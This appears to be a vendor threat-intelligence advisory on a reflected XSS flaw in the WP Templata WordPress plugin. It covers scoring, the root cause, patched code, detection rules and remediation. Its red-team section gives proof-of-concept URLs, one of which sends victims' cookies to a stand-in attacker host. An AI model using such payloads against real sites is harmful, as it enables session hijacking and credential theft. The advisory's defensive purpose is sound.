CVE-2025-26917
Executive Summary
CVE-2025-26917 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WP Templata by HasThemes, affecting versions up to and including 1.0.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been identified, but the lack of a patch from the vendor increases the risk of malicious actors leveraging this flaw in targeted attacks. Administrators should treat this as a supply chain risk and consider removing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the lack of a patch and the widespread use of WordPress plugins make this a viable vector for phishing campaigns and targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the WP Templata plugin, which provides template functionality for WordPress. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, the wptemplata parameter (or similar) is echoed back without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
- Victim clicks the link (e.g., via phishing email or social engineering).
- The WordPress server processes the request and reflects the payload in the response.
- The victim’s browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $_GET['param'] without applying esc_html() or wp_kses() for output sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (wp-templata.php, line ~45):
<?php
$template = $_GET['wptemplata'];
echo "<div class='template-name'>$template</div>";
?>
Patched Code (hypothetical fix):
<?php
$template = isset($_GET['wptemplata']) ? sanitize_text_field($_GET['wptemplata']) : '';
echo "<div class='template-name'>" . esc_html($template) . "</div>";
?>
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities before output.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with WP Templata <= 1.0.7 installed and activated.
- Attacker-controlled server to capture exfiltrated data (optional).
Proof-of-Concept URL:
http://target-site.com/?wptemplata=<script>alert('XSS')</script>
Advanced Payload (Cookie Stealing):
http://target-site.com/?wptemplata=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Lab Setup:
- Install WordPress locally (e.g., using Docker).
- Download and activate WP Templata v1.0.7 from the WordPress plugin repository.
- Use a browser to navigate to the crafted URL and observe script execution.
Blue Team
Detection:
- Monitor web server logs for requests containing
wptemplata=followed by<script>or other HTML tags. - Use WAF rules to block reflected XSS patterns (see Detection Engineering).
Mitigation:
- Immediately deactivate and remove the WP Templata plugin.
- If removal is not possible, implement a virtual patch using a WAF (e.g., ModSecurity rule below).
- Educate users about phishing links containing suspicious parameters.
Indicators of Compromise (IOCs)
- URL Patterns:
?wptemplata=<script>or?wptemplata=javascript: - HTTP Request Headers:
Referercontaining malicious domains - Log Entries:
GET /?wptemplata=%3Cscript%3E(URL-encoded) - File Hashes: (None specific to this CVE)
- Network Traffic: Outbound connections to attacker-controlled servers from WordPress admin sessions
Detection Engineering
YARA Rule
rule CVE_2025_26917_WP_Templata_XSS {
meta:
description = "Detects reflected XSS attempts against WP Templata plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26917"
strings:
$param = "wptemplata="
$xss1 = "<script"
$xss2 = "onerror="
$xss3 = "javascript:"
condition:
$param and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against WP Templata Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with reflected XSS payloads in the wptemplata parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "wptemplata="
keywords:
- "<script"
- "onerror="
"javascript:"
condition: selection and keywords
falsepositives:
- Legitimate use of template names containing similar strings (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-26917 WP Templata Reflected XSS Attempt";
flow:to_server,established;
content:"wptemplata="; http_uri;
pcre:"/wptemplata=[^&]*<script/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
- Immediate Action: Deactivate and uninstall the WP Templata plugin from all WordPress installations.
- Virtual Patching: If removal is not possible, deploy a WAF rule to block requests containing
wptemplata=with HTML/JavaScript content. - User Awareness: Train users to avoid clicking suspicious links, especially those containing plugin parameters.
- Monitoring: Enable logging for all web requests and review for anomalous patterns.
- Vendor Contact: Attempt to contact HasThemes for a patch; if unresponsive, consider forking the plugin or switching to an alternative.
Long-Term: Implement a Content Security Policy (CSP) header to mitigate XSS impact, and regularly audit all WordPress plugins for vulnerabilities.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-26917
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.